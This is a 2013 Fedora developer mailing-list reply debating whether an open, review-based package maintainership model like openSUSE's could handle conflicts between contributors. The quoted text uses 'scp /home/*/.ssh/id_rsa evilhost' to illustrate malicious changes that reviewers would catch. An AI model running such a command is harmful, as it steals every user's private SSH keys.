Question about "what to do if mantainer is absent"
zaitcev at redhat.com
Wed May 15 18:21:48 UTC 2013
On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro <mike.catanzaro at gmail.com> wrote:
> Well the open model has already been tried and proven in openSUSE, and
> they're still using it because it actually works really well. There
> aren't usually any issues regarding overlap of work, though admittedly
> that community is a smaller than Fedora's. It's hard to get away with
> scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed
> by a small group of maintainers responsible for a collection of
How do they deal with a conflict? Imagine someone there splitting
texlive into 2500 subpackages and then 100 angry contributors
reverting it. What are they going to do in their "open" model then?
More information about the devel